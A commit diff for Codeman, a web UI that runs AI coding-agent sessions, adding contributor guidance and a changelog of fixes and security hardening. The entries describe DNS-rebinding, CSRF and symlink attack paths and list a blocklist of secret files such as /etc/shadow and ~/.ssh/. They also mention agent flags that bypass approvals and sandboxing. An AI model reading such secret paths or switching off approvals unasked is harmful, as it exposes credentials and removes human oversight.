fix(terminal): linear-time link-provider regex; always allow blob workers in CSP

cmdPattern's empty-matchable unbounded arg group backtracked exponentially
on wrapped heredoc/table lines — hovering one froze the tab for minutes.
Non-empty tokens + bounded reps make it O(n); regression test extracts the
shipped patterns and pins timing on the real killer shapes.

worker-src 'self' blob: is now unconditional so terminal-ui's _safeYield
tick worker (throttling escape) isn't CSP-blocked on non-gesture installs.

+# Repository Guidelines
+
+Canonical agent/contributor guidance for this repository lives in [CLAUDE.md](CLAUDE.md) —
+project structure, build/test/lint commands, code style, testing safety rules
+(never run the full suite inside a managed tmux session), security notes, and
+the deployment workflow are all maintained there. Please read it before making
+changes, and keep it the single source of truth rather than duplicating
+sections here.
+
+Quick pointers:
+
+- Type check: `tsc --noEmit` · Lint: `npm run lint` · Format: `npm run format:check`
+- Targeted tests only: `npm test -- test/<file>.test.ts` (bare `npm test` is unsafe in managed sessions)
+- Route tests use `app.inject()`; new tests needing ports must pick a unique `const PORT =`
+- Branch off `master` for all work; Conventional Commit-style messages (`fix(mobile): ...`)
+- Never commit secrets or local state from `~/.codeman/`

+## 0.9.11
+
+### Patch Changes
+
+- Fix a terminal freeze on hover (catastrophic regex backtracking) and a CSP violation that disabled the terminal's anti-throttling worker.
+
+  **Tab-freezing hover bug**: the terminal link provider's `cmdPattern` (which turns `tail -f /path`-style text into clickable links) used an empty-matchable, unbounded arg group — `(?:[^\s\/]*\s+)*` — that backtracks exponentially on real Claude output, e.g. wrapped `git commit -m "$(cat <<'EOF'` heredoc lines or aligned table rows. Hovering the mouse over such a line hung the page's main thread for minutes ("page unresponsive"). The pattern now uses non-empty tokens with bounded repetition (linear time); all intended command+path link forms still match. New `test/link-provider-regex.test.ts` extracts the shipped patterns from source and pins linear-time behavior on the killer line shapes.
+
+  **Blob worker CSP fix**: `worker-src 'self' blob:` is now always present in the CSP (previously only with `CODEMAN_GESTURE=1`). The terminal's `_safeYield` anti-throttling tick worker is created from a Blob URL and was silently blocked on every install, logging a CSP violation on each page load and disabling the worker leg of the render-yield fallback chain.
+
+## 0.9.10
+
+### Patch Changes
+
+- Self-update now restarts automatically on headless Macs supervised by a system LaunchDaemon.
+
+  New `launchd-daemon` supervisor kind: when Codeman runs under a bootstrapped, KeepAlive system-level LaunchDaemon (`/Library/LaunchDaemons/com.codeman.web.plist` — the right setup for headless Macs, where LaunchAgents never start because there is no GUI login), the updater no longer ends with "Update staged — restart Codeman to apply". It restarts rootlessly: the update script kills the server PID (passed via `--server-pid`) and launchd respawns it on the freshly built `dist/`. Detection is conservative — the daemon must be bootstrapped in the system domain AND have `KeepAlive` enabled.
+
+  Also fixed: a lingering "restart Codeman to apply" status. After a manual restart of a staged update, boot reconciliation now flips `completed-needs-manual-restart` to `completed` once the running version matches the staged target, so the Updates tab stops showing the stale instruction.
+
+## 0.9.9
+
+### Patch Changes
+
+- Codex (OpenAI CLI) run mode, Claude Model picker, and response-viewer button now opt-in.
+
+  **Codex (OpenAI CLI) run mode** (#114): new `codex` session mode alongside Claude Code and OpenCode. Sessions launch the Codex CLI via tmux with secrets injected through `tmux setenv` (`OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` — never on the command line). Supports `--model`, `resume <id>`, and `--dangerously-bypass-approvals-and-sandbox` via the `codexConfig` payload or the new App Settings → Codex CLI tab (`codexDangerouslyBypassApprovals`). Availability surfaced at `GET /api/codex/status` with an install hint when the binary is missing. Frontend gets a "Run CX" run-mode option; Respawn/Ralph options stay Claude-only (session options open on the Summary tab for external-CLI sessions). `CODEX_*` env prefix added to the env-override allowlist.
+
+  **Claude Model picker**: App Settings → Claude CLI gains a "Claude Model" select (`claudeModel` setting) that pins the model for new Claude sessions via the case's `.claude/settings.local.json` — e.g. Fable 5 (1M context), Fable 5, Opus (1M), Opus, Sonnet, Haiku. It takes precedence over the legacy 1M Opus Context toggle. Fable 5 also added to the orchestrator default/phase model dropdowns.
+
+  **Response-viewer (eye) header button is now hidden by default** — existing users who relied on it can re-enable it under App Settings → Display → Response Viewer (`showResponseViewer`, per-device setting). A new Display toggle controls its visibility.
+
+  Also: tests made immune to a set `CODEMAN_GESTURE` env var; CLAUDE.md documents the Codex run mode and the eye-button toggle.
+
+## 0.9.8
+
+### Patch Changes
+
+- Stable HTTP contract, terminal pane-buffer rework, mobile/touch fixes, and fresh-install default cleanups.
+
+  **API / v1 readiness (PR #113)**
+  - Stable HTTP contract: uniform `{success, data}` / `{success: false, error, errorCode}` response envelope across all ~134 handlers, correct HTTP status codes, and a versioned `/api/v1/*` alias of `/api/*`
+  - Post-merge adversarial audit closed 9 contract gaps (envelope/status-code stragglers), incl. `loadQuickStartCases` double-unwrap
+  - Node.js floor raised to >=22; `codeman` bin alias installed alongside `aicodeman`
+  - Security hardening: SSRF guard on the push endpoint, tmux session-name validation, documented tail-file roots
+  - Governance: SECURITY.md and a SemVer versioning policy (docs/versioning-policy.md)
+  - CI now runs the full unit/integration suite (vitest.ci.config.ts) plus a frontend JS syntax gate
+
+  **Terminal (PR #112)**
+  - tmux pane-buffer primitives and session/render reliability fixes for the terminal pipeline, with re-review findings addressed
+
+  **Mobile / touch (PR #111)**
+  - Terminal and layout fixes for touch devices: desktop focus handling, WS resize-claim wiring, CJK setting, ESC passthrough
+  - New: Esc button in the simple (default) keyboard accessory bar, next to paste — sends a real ESC to the session
+
+  **Defaults & UI**
+  - Monitor panel is now disabled by default on fresh installs (desktop previously slid it open at startup; mobile was already off). Opt in via App Settings -> Show Monitor
+  - Fixed the session-tab task badge silently failing to open the Monitor panel when it was hidden by the setting (long-broken on mobile)
+  - Local echo defaults audited and confirmed per-device: off on desktop, on for touch devices, never server-synced
+
+## 0.9.7
+
+### Patch Changes
+
+- Fix installer failure on corrupt puppeteer cache + add Simplified Chinese README.
+  - **Installer / self-update reliability**: The universal installer (`install.sh`) and the in-app self-updater (`scripts/self-update.sh`) now set `PUPPETEER_SKIP_DOWNLOAD=1` before `npm install`. `puppeteer` is a devDependency used only by `scripts/browser-comparison.mjs`; its ~150MB `chrome-headless-shell` download is never needed to build or run Codeman. Previously, a partially-downloaded browser cache (folder present, executable missing) made puppeteer refuse to re-download and abort `npm install`, which failed the entire install/update — most visibly on macOS (`mac_arm`). The download is now skipped on both paths; callers can still opt back in with `PUPPETEER_SKIP_DOWNLOAD=0`.
+  - **Docs**: Added a Simplified Chinese translation of the README (`README.zh-CN.md`) with an English/中文 language switcher in `README.md`. Refreshed the README and documented the v0.9.5 security hardening (Host-header/DNS-rebinding guard, cross-site Origin/CSRF guard, anti-CSWSH WebSocket validation).
+
+## 0.9.6
+
+### Patch Changes
+
+- Self-updater: show live progress during the slow steps so an update no longer looks frozen.
+  - The detached update runner (`scripts/self-update.sh`) now emits a heartbeat every few seconds during `npm install` and `npm run build`, refreshing the update status with the latest output line (full output is still written to the update log).
+  - App Settings → Updates now shows the live status message plus a ticking elapsed-time counter during non-terminal phases, instead of only a static phase label.
+
+  This takes effect when updating _from_ a build that includes it — the detached runner script and the polling UI are both the from-version's copies.
+
+## 0.9.5
+
+### Patch Changes
+
+- Security hardening from the 2026-06-09 adversarial review — close the remote-exploit paths that affected the default (loopback + no-password) configuration. Full report: `docs/reports/security-review-2026-06-09.md`.
+  - **Anti-DNS-rebinding Host allowlist (always on).** A new request guard rejects requests whose `Host` is a custom domain rebound to a loopback/LAN address — previously a website the operator merely visited could DNS-rebind to `127.0.0.1` and drive the entire API (arbitrary command execution, since sessions run `--dangerously-skip-permissions`). The allowlist accepts `localhost`, any bare IP literal, the bind host, `*.ts.net` / `*.trycloudflare.com` / `*.cfargotunnel.com`, the active managed tunnel, and anything in the new `CODEMAN_ALLOWED_HOSTS` env var (comma-separated; `host` or leading-dot `.suffix`).
+  - **Cross-site (CSRF) Origin guard on all state-changing requests.** Forged cross-site requests are rejected; a missing `Origin` is allowed so `curl`/CLI automation and Claude Code hooks keep working. This closes the previously CSRF-triggerable self-update, session create/input, and settings/tunnel-toggle endpoints.
+  - **`text/plain` body parser no longer JSON-parses every request body** (which let a cross-site "simple request" submit JSON with no CORS preflight). The crash-diagnostics beacon now parses its own body.
+  - **WebSocket terminal upgrade now validates `Origin`/`Host`** (blocks cross-site WebSocket hijacking that could inject keystrokes into a running agent).
+  - **Stored-XSS fix:** AI-/transcript-derived fields (tool name, tool detail, tool id, hook text) in the subagent activity panel are now HTML-escaped.
+
+  Operational note: if you front Codeman with a custom reverse-proxy domain, allow it via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. Setting `CODEMAN_PASSWORD` also fully mitigates these via the existing auth hook.
+
+## 0.9.4
+
+### Patch Changes
+
+- In-app self-updater, plus the SSE-registry and security-doc changes since 0.9.3.
+
+  **New: update Codeman from the web UI (App Settings → Updates).** A "Check for updates" button asks the server to query GitHub for the latest tagged release (falling back to `git ls-remote`) and shows its release notes; "Update now" then runs the full `git checkout <tag>` → `npm install` → `npm run build` → restart cycle and streams live progress that survives the service restart (the browser polls a status file across the connection drop).
+  - **Channel:** latest tagged release (e.g. `codeman@0.9.4`), not bleeding-edge master.
+  - **Dirty working trees are auto-stashed** (`git stash`, left for you to `git stash pop`) instead of discarded.
+  - **Cross-platform restart**, detected from the running process: systemd (`systemctl --user restart codeman-web`) on Linux, launchd (`launchctl kickstart`) on macOS, or a printed manual command otherwise.
+  - **Survives its own restart:** the updater runs detached in a transient `systemd-run --user --scope` (Linux) or `setsid` session (macOS), so the restart it triggers cannot kill the build mid-flight.
+  - **Safety:** build failure rolls back to the pre-update commit (never restarts into a half-built `dist/`); the pre-restart status marker is reconciled on boot with an update-id + freshness guard so a normal reboot is not misreported as a completed update; concurrent updates are rejected (409); the runner script is staged outside the repo so `git checkout` cannot corrupt it mid-run; release tags are strictly validated before reaching the shell; `CODEMAN_DISABLE_SELF_UPDATE=1` disables the feature; non-git (npm-global) installs are detected and pointed at `npm i -g aicodeman@latest`.
+  - New endpoints: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`.
+
+  **Also in this release:**
+  - Sync the frontend `SSE_EVENTS` registry (`constants.js`) with the backend `sse-events.ts` so every broadcast event has a matching frontend entry.
+  - Expand `docs/security-architecture.md` with the trust model, CSP detail, and a source-file map.
+
+## 0.9.3
+
+### Patch Changes
+
+- Installer security notice + clarify gesture control stays opt-in and default-off.
+  - **Installer:** `install.sh` now prints the network-security notice as the final block of both the fresh install (one-line `curl … | bash`) and the update flow, so it stays visible to the user: Codeman binds `127.0.0.1` by default (no password needed), and the safe ways to reach it remotely (`tailscale serve` / tunnel, or `--host 0.0.0.0` + `CODEMAN_PASSWORD`), noting a non-loopback bind without a password still starts but warns loudly.
+  - **Gesture control** is **disabled by default** and is enabled only by the per-user toggle at App Settings → Display → Input → Gesture Control (`gestureControlEnabled`, default `false`). Setting `CODEMAN_GESTURE=1` on the server only makes the feature _available_ (CSP widening + same-origin `/gesture/` assets); it does **not** turn the overlay on. There is no default-on path — the bundle is injected only when a user explicitly enables the setting.
+
+## 0.9.2
+
+### Patch Changes
+
+- Vendor the gesture-control source into the repo for in-tree development.
+
+  The hand-tracking overlay's source (previously the standalone `Ark0N/codeman-gesture-control` repo) now lives at `packages/gesture-control/` as the `codeman-gesture-control` workspace package: the transport-agnostic gesture core (`src/gesture/*` — MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine), the Codeman consumer entry (`src/codeman/entry.ts`, maps grab/drag/drop onto real session tabs + toolbar buttons), and a standalone vite playground for iterating on gesture feel.
+  - New `npm run build:gesture` (`scripts/build-gesture-bundle.mjs`) esbuild-bundles `entry.ts` into the served `src/web/public/gesture/gesture-codeman.js`; `scripts/build.mjs` now reruns it on every production build so the served bundle always reflects current source. The MediaPipe wasm + model stay runtime-loaded from same-origin `/gesture/` (unchanged).
+  - Added `@mediapipe/tasks-vision@0.10.21` as the package dependency (kept in sync with `fetch-gesture-assets.mjs`). The playground uses vite 7 (no known advisories).
+
+  No change to the shipped app behavior — gesture control remains opt-in (`CODEMAN_GESTURE=1` + the App Settings → Input toggle). This release just makes the overlay developable inside the Codeman repo.
+
+## 0.9.1
+
+### Patch Changes
+
+- Multi-monitor & settings UX fixes.
+  - **Multi-monitor button (remote servers):** the "span displays" button spawns `scripts/span-codeman.sh` server-side, so on a non-macOS Codeman server it can't open a window on your machine. The non-macOS API error now explains this and points to running the script locally on your Mac with the remote server URL; the script header documents the same remote-client workflow.
+  - **App Settings modal:** stop the modal overflowing horizontally on narrow viewports.
+  - **systemd:** sync the `codeman-web.service` template with the deployed unit.
+
+## 0.9.0
+
+### Minor Changes
+
+- Security hardening release: network-bind policy, auth lockout recovery, download/SVG hardening, dependency & supply-chain fixes, tmux launch reliability, and a full security-architecture doc.
+
+  **Network binding (COD-29, #107):**
+  - The web server now defaults to binding `127.0.0.1` (loopback) instead of `0.0.0.0`, so a fresh install is reachable only from the same machine and needs no password. New `--host` / `-H` / `CODEMAN_HOST` flag to choose the bind host.
+  - Binding a non-loopback host **without** `CODEMAN_PASSWORD` no longer refuses to start — it **starts and prints a loud warning** with the three ways to secure it (set `CODEMAN_PASSWORD`, bind loopback + an authenticated tunnel / `tailscale serve`, or acknowledge with `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`). This keeps Codeman "just working" for new users while making remote exposure a guided, explicit choice. Host classification lives in the new `src/web/network-auth-policy.ts` (handles `127.0.0.0/8`, `::1`, `::ffff:127.*`, bracketed IPv6).
+  - A post-install security note now explains the loopback default and how to expose safely.
+
+  **Authentication (COD-29, #107):**
+  - Auth lockout now recovers gracefully: the per-IP rate-limit (`429`) check runs **after** the cookie/credential checks, so a valid session cookie or correct password is never locked out by a prior attacker's failures from the same IP (important behind a shared-IP tunnel). Wrong credentials are still counted and still hit the limit, and a `Retry-After` header is returned.
+
+  **Downloads & content-type hardening (COD-29, #107):**
+  - New session-scoped `POST /api/download` route: realpath-bounded to the session working dir, a sensitive-path blocklist (`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, …), `isFile()` + 50 MB cap, forced `attachment`.
+  - Workspace `.svg` files are served as `application/octet-stream` + `attachment` + `nosniff` (closes a stored-XSS-via-SVG vector); `nosniff` now applies to all `file-raw` responses.
+
+  **Dependencies & supply chain (COD-28, #106):**
+  - Bumped security-sensitive deps to patched versions (`@fastify/static` 9, `fastify` 5.8, `uuid` 14, `vitest` 4.1, …) and added `overrides` for patched transitives (`picomatch`, `basic-ftp`, `fast-uri`, `flatted`); `npm audit` goes from 7 advisories to 0.
+  - New `npm run check:public-assets` (`scripts/check-public-assets.mjs`): scans `src/web/public/**` for literal NUL bytes and runs `node --check` on every `.js` file, plus a Prettier pass on maintained files. Removed literal NUL placeholders from `app.js`. Added `test/dependency-security.test.ts` and `test/frontend-public-tooling.test.ts`.
+
+  **tmux launch reliability (COD-31, #110):**
+  - New tmux sessions and respawns launch from a stable `/tmp` and `cd` into the workspace inside the pane, avoiding `new-session` crashes when a FUSE/rclone-mounted workspace has a transient mount blip at launch. The `cd "<dir>" && <cmd>` form is fail-safe (the CLI never runs in `/tmp`) and the path is validated + double-quoted.
+
+  **Test stability (COD-30, #108):**
+  - Cleared leaked auth env in the Vitest setup, corrected stale route status-code / SSE-lifecycle expectations to match shipped behavior, updated the mobile keyboard accessory expectations, and measured DOMContentLoaded via browser navigation timing. Also fixed the `WebServer` title tests for the new `host` constructor arg + async `renderIndexHtml`.
+
+  **Docs:**
+  - New `docs/security-architecture.md` documenting the full model (network binding, auth pipeline, the tunnel `req.ip` caveat, file-serving hardening, supply-chain, multi-instance isolation, security headers, and recommended secure setups). CLAUDE.md updated accordingly.
+
+## 0.8.2
+
+### Patch Changes
+
+- Session detach/undock, opt-in gesture-control overlay, multi-monitor spanning, new App-Settings toggles, and asset cache-busting.
+  - **Session detach/undock + instance isolation (#103):** Detach a session into its own solo (popup) window from the tab strip. Adds multi-instance isolation primitives in `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`) keyed off `CODEMAN_INSTANCE`, so a beta can run side-by-side with prod without discovering/attaching to prod's live tmux sessions or clobbering its `state.json`. `CODEMAN_INSTANCE` defaults to the production layout (`~/.codeman`, `-L codeman`, port 3000), so master installs are unaffected. Adds `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`). The legacy `~/.claudeman` migration is now scoped to the default instance only. Hardened detach edge cases. Tests: `test/config/instance.test.ts`.
+  - **Gesture-control overlay (Phase 5, opt-in via `CODEMAN_GESTURE=1`):** Camera hand-tracking overlay (self-hosted MediaPipe — wasm + model fetched at install/build via `scripts/fetch-gesture-assets.mjs` rather than committed). `CODEMAN_GESTURE=1` makes the feature _available_ (CSP widening + `/gesture/` assets + `window.__codemanGestureAvailable`); the per-user **Gesture Control (beta)** toggle (App Settings → Display → Input, default OFF) is the actual on/off and reloads the page to inject/remove the bundle. Dashboard-only (not solo popups). Labeled "(beta)" (#109).
+  - **Multi-monitor button:** Header button (opt-in via App Settings → Display → Header Displays) that POSTs `/api/system/span-displays` to spawn `scripts/span-codeman.sh` — a maximized browser `--app` window sized to the union of all displays, so the gesture layer's floating panels can drag across the physical monitor seam. Tests: `test/routes/system-span-displays.test.ts`.
+  - **New App-Settings toggles (#105):** Gesture control and the multi-monitor button are both opt-in (default OFF), with live show/hide on save.
+  - **Asset cache-busting:** `renderIndexHtml` appends `?v=<mtime>` to every same-origin `.js`/`.css` reference; `index.html` is served `no-cache`, so a normal reload picks up edited modules/styles without a hard refresh. Tests: `test/render-index-html.test.ts`.
+  - **Gesture Control toggle placement:** the toggle now lives inside the existing **Input** settings section (alongside Local Echo / CJK Input / Extended Keyboard Bar) instead of a duplicate "Input" section; only the toggle itself is hidden when `CODEMAN_GESTURE=1` is unset, leaving the rest of the section intact.
+  - **Service env:** `scripts/codeman-web.service` now sets `CODEMAN_GESTURE=1` so the gesture feature is available on the local install (still gated behind the default-OFF per-user toggle).
+  - **Docs:** CLAUDE.md updated for the orchestrator loop, multi-monitor/span-displays, cache-busting, gesture/multi-monitor toggles, and structural-count fixes.
+
+## 0.8.1
+
+### Patch Changes
+
+- Thinking Effort now flows as a soft default the user can override in-session (PR #104, by @TeigenZhang).
+
+  Previously Codeman carried the effort setting as the `CLAUDE_CODE_EFFORT_LEVEL` env var, which Claude Code treats as a hard override — it locked effort for the whole session and rejected in-session `/effort` switching (including switching to `ultracode`). Effort is now injected at spawn time as a CLI soft default that `/effort` can still change freely in either direction:
+  - Regular levels (`low`/`medium`/`high`/`xhigh`/`max`) are passed via `claude --effort <level>` (the settings `effortLevel` key silently drops `max`, so the flag is used instead).
+  - `ultracode` (xhigh effort + standing dynamic-workflow orchestration) is passed via `claude --settings '{"ultracode":true}'`, since the `--effort` flag rejects it.
+
+  Details:
+  - New `effort` field on the create-session, quick-start, and Ralph-loop request schemas; threaded through `Session._effort` to both spawn paths (tmux `buildSpawnCommand` and direct-PTY `buildInteractiveArgs`), persisted in `SessionState.effort`, and restored on reboot recovery.
+  - `buildEffortCliArgs()` is the single, allowlist-validated source for both carriers (injection-safe).
+  - Settings UI adds an "Ultracode (multi-agent workflows)" option to the Thinking Effort dropdown; the frontend no longer emits `CLAUDE_CODE_EFFORT_LEVEL`.
+  - Legacy migration: sessions persisted with the old env var are auto-migrated into the new `effort` field, and the stale tmux env var is unset so respawned panes are no longer locked.
+  - Adds `test/effort-injection.test.ts` (13 cases) covering carrier mapping, injection guards, args building, and constructor migration.
+
+## 0.8.0
+
+### Minor Changes
+
+- Event-loop responsiveness fix, mobile image upload, response-viewer polish, and a mobile-UI trim.
+  - **fix: avoid event-loop stalls from synchronous tmux/ps calls (#100):** The session manager ran `execSync` for tmux mouse-mode toggles, `list-panes`, and `ps`/`pgrep` resource-stat queries on the main thread. Under multi-session / many-pane load these blocking spawns froze Node's single event loop, stalling SSE broadcasts and PTY I/O (the ":3000 briefly unreachable, process never restarts" class of incident). Converted those calls to async `execAsync` and updated all callers to `await`. Added a lightweight `utils/event-loop-monitor.ts` that samples loop-delay and logs when a stall threshold is exceeded, started on web-server boot and stopped on shutdown — so future regressions leave a timestamped, quantified log line instead of vanishing silently.
+  - **feat(web): mobile image upload to active session via paste dialog (#101):** The mobile keyboard-accessory paste dialog now attaches images, not just text — via a native picker (`accept=image/*` → camera / photo library / files) plus best-effort capture of images pasted into the textarea. Both paths reuse the existing `_uploadAndInsertImages()` → `POST /api/sessions/:id/paste-image` pipeline. Images are re-encoded client-side before upload (PNG→PNG to preserve transparency, everything else→JPEG, animated GIFs passed through untouched) so the bytes always match their declared extension — fixing the Android/MIUI case where a WebP/HEIF mislabeled as `image/jpeg` passed the extension allowlist but failed the server's magic-byte check. The server logs a precise diagnostic on any remaining magic-byte mismatch.
+  - **feat(web): response-viewer transcript fallback + code-block rendering (#102):** A substantial response-viewer styling overhaul — proportional prose font (monospace kept for code), refined heading/code/blockquote/list styling, readable max content width, and a smoother slide-in animation; the `.rv-text` rules now also apply to `.response-viewer-body` so transcript-missing fallback content gets the same typography. Plus a `_renderMarkdown` null-safety fix (`text` → `src = text || ''`).
+  - **feat(web): remove /compact button from the mobile keyboard accessory bar:** Dropped `/compact` from both the simple and extended accessory-bar layouts and the associated action handling. `/clear` retains its double-tap confirmation. Verified on a touch-emulated viewport that neither layout renders a compact action.
+
+## 0.7.1
+
+### Patch Changes
+
+- **fix(respawn): auto-accept now fires on plan approvals after `Worked for X` line, and on AskUserQuestion menus**
+
+  Two related blockers in the respawn controller's auto-accept path:
+  - Modern Claude Code emits `✻ Worked for Xm Ys` immediately before a plan-approval menu. `_detectCompletionMessage()` cancelled the auto-accept timer and `canAutoAccept()` then rejected on `completionMessageTime !== null`, so plan approvals **never** auto-accepted — the 10 s completion-confirm timer instead started a respawn cycle while the menu sat unanswered.
+  - The same logic in `signalElicitation()` set a hard flag that blocked auto-accept whenever Claude Code fired the `elicitation_dialog` hook, contradicting the in-UI hint ("Auto-accept presses Enter for plan approvals **and default question options**"). AskUserQuestion menus were therefore never auto-accepted either.
+
+  Fix:
+  - `_detectCompletionMessage()` no longer cancels the auto-accept timer; the auto-accept pre-filter is now the authoritative "is there a numbered selection menu?" gate.
+  - `canAutoAccept()` and the AI-plan-check callback both accept `'watching'` AND `'confirming_idle'` states (covers the single-PTY-burst case where `Worked for` and the menu arrive together — `_detectCompletionMessage` returns early before the substantial-output check can demote state back to watching). `sendAutoAcceptEnter()` self-transitions back to `'watching'` before sending Enter.
+  - `signalElicitation()` is now an affirmative hint that primes the auto-accept timer instead of blocking. Still gated on `config.autoAcceptPrompts` AND state ∈ {`watching`, `confirming_idle`} — never fires Enter when respawn is off or auto-accept is disabled.
+  - AI plan-check prompt broadened to recognize AskUserQuestion / elicitation menus as valid for auto-accept (the verdict name `PLAN_MODE` is preserved for compatibility but now means "auto-accept this selection menu").
+  - Removed the now-unused `elicitationDetected` field and its assignments.
+
+  Two new regression tests cover both the separate-PTY-chunk and single-PTY-chunk cases; the previously misleading "should NOT send Enter when completion message was detected" test was renamed and re-scoped to clarify it tests the **no-menu** path (which still correctly rejects via the pre-filter).
+
+  **docs(web): correct `sendPendingCtrlL` comment** — removed the stale "called by foo/bar" note from the dead-call-graph helper after #99.
+
+## 0.7.0
+
+### Minor Changes
+
+- Response viewer & terminal-stability improvements, plus test/error-handling hardening.
+  - **Copy button on code blocks (#98):** Every fenced code block in the response viewer now has a one-click copy button pinned to its top-right, outside the `<pre>` scroll container so it stays put during horizontal scroll. ASCII diagrams keep their line-wrap toggle alongside it. Copy prefers the async Clipboard API and falls back to a hidden-textarea + `execCommand` path, so it works over plain HTTP (tunnel) too, with a brief ✓/✕ feedback state.
+  - **Fix: stop auto-sending Ctrl+L from session-selection paths (#99):** A fast page refresh or SSE reconnect could fire two programmatic Ctrl+L (`\x0c`) sends within Claude Code 2.x's "clear conversation" confirmation window, silently wiping the active conversation. Removed the automatic Ctrl+L sends from `selectSession()`, `restoreTerminalSize()`, and the dead `sendPendingCtrlL()` path; redraws now rely on resize/SIGWINCH. User-initiated Ctrl+L still works. Trade-off: an occasional transient stale Ink frame right after refresh that self-heals on the next keypress — far preferable to silent data loss.
+  - **Test & error-handling hardening (#97):** Repaired route-test harness error rendering via a dedicated `route-error-handler.ts`, and stopped the AI idle/plan checkers from spawning real processes during tests.
+
+## 0.6.12
+
+### Patch Changes
+
+- Fix new-session crash after a tmux upgrade and isolate Codeman sessions on a dedicated tmux socket.
+  - **Pane file-descriptor limit**: raise `ulimit -Sn` before launching the CLI (in both the spawn and respawn paths) so the newer tmux + macOS launchd combination — which hands panes a low soft `nofile` limit (256) that recent Claude Code refuses to start under — no longer kills every freshly spawned session on startup.
+  - **Single-socket isolation**: all Codeman-owned tmux sessions now live on a dedicated socket (`tmux -L codeman`, overridable via `CODEMAN_TMUX_SOCKET`), fully separated from the user's default tmux server. The socket name is validated and shell-escaped at every call site.
+  - **Drop the drift-prone per-session `tmuxSocket` field**: session reconciliation collapses to a single `list-panes` query against the one socket, eliminating live sessions being wrongly marked dead ("session not found") and duplicate "Restored:" tabs. Stale per-session socket tags and duplicate records are cleaned from disk on load (dedup by `muxName`, keeping the real entry over `restored-` placeholders).
+  - **Route remaining bare-`tmux` call sites through the socket**: the window-size query on re-attach (previously fell back to 120×40 and lost scrollback) and the send-key route (Shift+Enter / Ctrl+Enter newline).
+  - **SSH chooser scripts** (`tmux-manager.sh`, `tmux-chooser.sh`) route every tmux call through the dedicated socket.
+
+## 0.6.11
+
+### Patch Changes
+
+- Resume Conversation: fixes and folder drill-down.
+  - **fix(history)**: `decodeProjectKey()` now uses longest-join-first backtracking with on-disk validation, so sibling directories sharing a prefix (e.g. `diary/` vs `diary-app/`) resolve to the correct path. Previously the greedy shortest-match decoder picked the shorter name and bailed, surfacing `$HOME` in the Resume Conversation list and resuming into the wrong folder. Greedy decode is kept as a fallback so history for deleted projects still resolves. (#92)
+  - **fix(tabs)**: Drop the client-side resurrection of ended-session tabs. The old code cached open tabs in `localStorage` and rebuilt them as grayed-out stubs whenever the server no longer knew them, which left phantom tabs after closing a session on another device. The server is now the single source of truth; legacy `localStorage` keys are purged on init. Net -44 / +6 lines. (#93)
+  - **feat(history)**: New "View all in this folder" drill-down on Resume Conversation. `GET /api/history/sessions` accepts `projectKey` (validated against `^[A-Za-z0-9_-]+$` before any filesystem access), `offset`, and `limit`; single-folder mode bypasses the 50-cap and returns `{ sessions, total }`. Frontend adds a modal listing 20 sessions per page with a "Show more" pagination button. Modal items omit their own "View all" button to prevent recursive entry points. (#94)
+
+## 0.6.10
+
+### Patch Changes
+
+- ## Security: paste-image endpoint hardening (#90)
+
+  Addresses seven findings from the dismissed review of #84. Most exposed in tunneled deployments where `CODEMAN_PASSWORD` is set but the server is reachable beyond localhost.
+  - **CSRF protection** on `POST /api/sessions/:id/paste-image`. Requires `Origin`/`Referer` to match `req.host`; non-browser clients (no `Origin` and no `Referer`) must send `X-Codeman-CSRF`. Defeats cross-origin `<form enctype="multipart/form-data">` submits that would otherwise plant arbitrary bytes into the victim's `.claude-images/` while their session cookie is live.
+  - **Magic-byte validation** on uploaded images. Sniffs the first 12 bytes against PNG/JPEG/GIF/WebP/BMP signatures and rejects 415 on mismatch. Polyglot HTML-or-SVG-with-image-MIME no longer round-trips through the endpoint.
+  - **Symlink-safe writes** on `.claude-images/`. `lstat` before the write, non-recursive `mkdir`, `O_EXCL|O_NOFOLLOW` on file open. A `node_modules` postinstall (or the agent itself) planting `.claude-images -> ~/.ssh/` no longer redirects pastes outside `workingDir`.
+  - **Multipart parser swap** to `@fastify/multipart` with `limits: { fileSize: 10MB, files: 1, fields: 4 }`. Replaces a hand-rolled boundary scanner that matched the literal boundary anywhere in the body, hard-coded `\r\n` (silently corrupting LF-only clients), and had no part-count cap.
+  - **Rate limit + GC**: token-bucket (30/min per IP+session) and hourly GC of `paste-*` files older than 7 days from each live session's `.claude-images/`. New `paste-image-gc.ts` started/stopped from `WebServer.start/stop`.
+  - **Collision-free filenames**: `paste-${Date.now()}-${randomBytes(4)}${ext}`. Two tabs pasting in the same millisecond no longer silently last-write-wins.
+  - **Bracketed-paste preservation**: text-only paste in `image-input.js` now goes through `terminal.paste(text)` instead of `sendInput(text)`, so xterm preserves `CSI 200~ ... CSI 201~` markers — Claude Code uses them as part of its prompt-injection defenses.
+
+  ## Fix: duplicate multipart parser conflict
+
+  Removed a duplicate multipart content-type parser left behind after the swap above. The duplicate registration conflicted with `@fastify/multipart`'s own parser; uploads now flow through the plugin exclusively.
+
+  ## WebGL renderer auto-fallback hardening (#91)
+
+  Follow-ups on the longtask auto-fallback shipped in #83.
+  - `PerformanceObserver` is now disconnected on `onContextLoss` as well as on the trip path. Previously the observer outlived its disposed addon after a context loss, holding a closure reference over every longtask the page emitted.
+  - Thresholds (`200ms / 3 longtasks / 30s window / 5s grace / 7d sticky-disable`) are hoisted to `WEBGL_FALLBACK` in `constants.js`. No more inline literals.
+  - New `evaluateWebGLLongTaskTrip()` pure helper splits the rolling-window arithmetic from the `PerformanceObserver` callback so the trip math is unit-testable. New `test/webgl-fallback.test.ts` (9 tests, port 3166): trip inside window, no-trip when spread, sub-threshold filtering, stale-entry pruning, cumulative counting across batches, observer-dispose idempotency.
+
+  ## CI: server boot smoke test
+
+  GitHub Actions now boots the server as a final step after typecheck/lint/format. Catches production-only ESM/CJS regressions that `tsx` masks in dev.
+
+  ## Docs
+
+  `CLAUDE.md` frontend-module table updated to include `image-input.js` (overlooked when #84 landed).
+
+## 0.6.9
+
+### Patch Changes
+
+- Terminal renderer hardening, SSE bandwidth cut, image paste, and a security tightening on the new live filter:
